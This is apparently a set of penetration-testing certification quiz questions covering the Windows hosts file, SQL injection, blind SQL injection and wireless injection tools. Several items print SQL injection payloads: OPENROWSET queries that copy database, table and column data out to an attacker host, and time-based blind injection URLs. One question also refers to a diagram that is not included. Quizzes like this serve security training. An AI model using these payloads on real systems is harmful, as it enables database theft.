John, a penetration tester from a pen test firm, was asked to collect information about the host file in a Windows system directory. Which of the following is the location of the host file in Window system directory?

• A. C:\Windows\System32\restore
• B. C:\WINNT\system32\drivers\etc
• C. C:\Windows\System32\Boot
• D. C:\WINDOWS\system32\cmd.exe

A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.
The query he used to transfer databases was:
'; insert into OPENROWSET
('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases -
The query he used to transfer table 1 was:
'; insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from
mydatabase..table1') select * from database..table1 -
What query does he need in order to transfer the column?

• A. '; insert into
  OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
  0;','select * from mydatabase..hacked_syscolumns') select * from
  user_database.dbo.syscolumns -
• B. '; insert into
  OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
  0;','select * from mydatabase..hacked_syscolumns') select * from
  user_database.dbo.systables -
• C. '; insert into
  OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
  0;','select * from mydatabase..hacked_syscolumns') select * from
  user_database.dbo.sysrows -
• D. '; insert into
  OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8
  0;','select * from mydatabase..hacked_syscolumns') select * from
  user_tables.dbo.syscolumns -

A Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

It is performed when an error message is not received from application while trying to exploit SQL vulnerabilities. The developer's specific message is displayed instead of an error message. So it is quite difficult to find SQL vulnerability in such cases.
A pen tester is trying to extract the database name by using a blind SQL injection. He tests the database using the below query and finally finds the database name.
http://juggyboy.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY
'00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97)
WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),2,1)))=98)
WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),3,1)))=99)
WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),4,1)))=100)
WAITFOR DELAY '00:00:10'--
What is the database name?

• A. PQRS
• B. ABCD
• C. EFGH
• D. WXYZ

Identify the injection attack represented in the diagram below:

• A. XPath Injection Attack
• B. Frame Injection Attack
• C. XML Injection Attack
• D. XML Request Attack

Which one of the following is a supporting tool for 802.11 (wireless) packet injections, it spoofs 802.11 packets to verify whether the access point is valid or not?

• A. Airsnort
• B. Aircrack
• C. WEPCrack
• D. Airpwn